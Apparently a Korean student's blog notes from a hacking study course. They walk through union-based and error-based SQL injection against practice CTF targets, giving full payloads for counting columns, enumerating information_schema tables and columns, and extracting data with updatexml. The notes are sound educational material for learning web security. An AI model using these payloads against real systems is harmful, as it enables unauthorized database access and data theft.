* 웹 개발
-> 백엔드 코드가 더 중요 but 외형도 조금은...
-> bootstrap
-> 문제풀이 wriote up
1)만든 사이트의 write up
2) write up 쓸때 flag를 모자이크..
죄송합니다...
->ctf 문제는 정답을 보지 않는다,
--------------------------------------------------
*review
>로그인 인증 : 식별(user가 있나)/인증(user가 맞나)
>SQL Injection : 공격자가 sql질의문 삽입
db에서 날라오는 데이터를 변경하여 로그인 인증 우회
: 데이터 추출
공격자가 원하는 데이터에 select문을 삽입
1) secritdb를 찿아 출력하기
2) member 테이블
- 추측
orverwatch 검색 - select ? from ? where 컬럼?='overwatch'
wartch 검색 - select ? from ? where 컬럼? like '%watch%' - 취약점 확인
watch%' #
watch%' and '1%'='1 - 컬럼 수 확인
watch%' order by 3# - 출력
watch%' order by 4# - 출력
watch%' order by 5# - 에러
컬럼 4개 - data 출력 위치 확인
watch%' union select '1','2','3','4
결과 2,3,4%출력 - db 이름 확인
watch%' union select '1',database(),'3','4
출력된 이름 : segfault_sql - 테이블 이름 확인
과제..http://ctf.segfaulthub.com:1019/sqlInjection3.php
*sql injection으로 데이터 추출
질의문이 보이는지 여부에 따라 공격 접근이 다름
1) sql 질의문이 화면에 보이는 곳 :게시판, 회워정보(마이페이지), 검색페이지 ect.
->union sql injection
(selcet~~`) union (select~~~~~)
원래의 데이터 정보가 나오는 곳이나 회원 정보가 같이 딸려오기도 하는 방법
지켜야할 조건 : 앞에 있는 select문과 뒤의 select문의 컬럼 개수를 맞춰야 함
방법 : order by : 정렬구문
정렬구문 뒤에 n번째 컬럼의 수가 실제 컬럼 수보다 클경우 에러가 나게 됨. 실행도 되지 않음
그리고 컬럼의 타입도 같아야
sql injection 공격시 가장 먼저 확인 할 것
서버에서 어떠한 sql 질의문을 사용하는지 추측한다!!!
(1) 추리
어떠한 정보를 가져오는 검색창
select ??? from ???? where 컬럼1='@@@'
의 sql문이라고 추측이 가능함
만약 중간 이름만 검색해도 나오게 되면
select ??? from ???? where 컬럼1 like '%@@@'%
라고 추측이 가능하다.
(2) 취약점이 있는지를 확인
sql injection에서 주석은 웬만하면 안쓰는 것이 좋음
주석처리를 잘못 하게 되면 수많은 데이터가 출력될 수 있음
and 1=1을 사용하는 것이 좋음 이건 있으나 마나한 조건이므로 취약점 하기에 좋음
위의 경우 다음과 같이 취약점 확인이 좋음
watch %' and '1%'='1 true값 출력
watch %' and '1%'='2 false값 출력
복붙해서 직접 넣어보면서 확인하는 것이 좋음
(3) 데이터 결과가 화면에 나오게 되면 .. union
-> order by 사용 ( 컬럼개수 확인)
watch%' order by 1#
(4)data 출력 위치 확인
select ??? from ???? where 컬럼1 like '%@@@'%
watch%' union select '1','2','3','4
위 sql문을 삽입하여 화면에 2,3,4%가 화면에 출력되면 1은 출력되지 않는 컬럼
(5)database이름 확인
select database()
위 sql 문은 database 이름이 출력됨
watch%' union select '1',database()'3','4
위 sql문을 삽입하면 2가 있어야 할 위치에 database가 나오게 됨
단, database의 종류에 따라 다름. 이는 검색으로 확인
(6) 테이블 이름 확인
select table_name from information_schema.tables where tabel _schemaa= '원하는 db이름'
데이터베이스의 정보가 들어가있는 데이터베이스, 그리고 특정 db의 table. 특정 db의 table은 .을 통해서 호출.
watch%' union select '1',table_name,'3','4 from information_schema.tables where tabel _schemaa= '원하는 db이름' #
(7) 컬럼 이름을 알아내야 함
원하는 정보를 알기 위해서는 select문 즉, 컬럼이름과 테이블 이름을 필요로 함.
따라서 이들을 구해야 함
information_schema.columns 의 column_name컬럼이 있음
select column_name from information_schema.columns where tabel_name='원하는 테이블 이름'
watch%' union select '1',column_name,'3','4 from information_schema.columns where tabel_name='원하는 테이블 이름'#
(8) 데이터 추출 단계
> select 컬럼명form 테이블명
watch%' union select '1',컬렴명,'3','4 from 테이블#
*db 에러가 화면에 출력 될 경우
(1) 추측
select ?? form ??? where id='@@@'
(2) 취약점 확인
작은 따음표 혹은 띄어쓰기 아무글자 등 확인
db에러인지를 확인
있으면 취약점이 있는것
(3) error based SQL Injection FUnciton
에러 종류 : 문법 에러, 논리 에러
여기서 논리에러를 집중적으로 확인. 문법에러는 직접적으로 활용하기 힘듦
논리에러는 문법은 맞아야 한다.
-updatexml 구문
1' and updatexml(null, concat(0x3a, test,null) and 1='1
여기있는 파일 리소스에서 데이터를 가져옴 test와 :을 합침 concat은 합치는 함수
만약 그 파일이 없으면 에러가 뜸
test에 원하는 sql문
(4) db이름
1' and updatexml(null, concat(0x3a, (select database()),null) and 1='1
이렇게 하면 db 확인 가능
(5) table이름
그러나 row then more 1 이라는 글이 나옴 결과값이 1개여야 출력
**limit 이라는 문법을 사용함
limit [에서부터],[몇개]
0부터 시작함 (0,1) 이면 첫번째꺼
(6) 컬럼 이름
(7)
코드자동화.
[Error Based SQLi]
Error 메시지가 화면에 출력될때,
-> DB error 메시지
<?php
echo ';
?>
(1) 추측
select ???? from ???????
where id='__'
(2) DB 에러인지 확인
(3) error based SQL Injection FUnction
(select ~) 실행!!!!!
문법 에러
논리 에러 -> 문법은 맞아야함.
— updatexml
1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1
and (내가 넣고싶은거) and '1'='1
:test
(4) DB 이름을 구하자! : segfault_sql
select database()
1' and updatexml(null,concat(0x3a,(SQL)),null) and '1'='1
1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1
(5) table 이름 : game
select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 1,1
** limit
limit [어디에서부터],[몇개]
1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 1,1)),null) and '1'='1
(6) column 이름
select column_name from information_schema.columns
where table_name='secret' limit 0,1
1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='secret' limit 0,1)),null) and '1'='1
(7) data 추출
2) sql 질의문이 화면에 보이지 않는곳 : 로그인, 아이디 중복체크
-에러메시지가 화
'
과제
- 바로 해야하는 과제 : union sqli err base sqli
4,5에서 하기 - 문제풀이 우선 db추출 1,2
- 웹개발 과제 홈페이지 만들기
회원가입시 주소입력 주소가 이메일주소가 아니라 주소지. 클릭하면 선택치 나오는거 - 로그인 우회문제
- 지난 수업 과제 밀린거 하기
'Nomaltic Hacking Study' 카테고리의 다른 글
2023.04.2(2) (0) | 2023.04.27 |
---|---|
Union SQLi, Err SQLi 실습 (0) | 2023.04.20 |
2023.04.13 (0) | 2023.04.13 |
2023.04.06 (0) | 2023.04.06 |
2023.04.04 (0) | 2023.04.04 |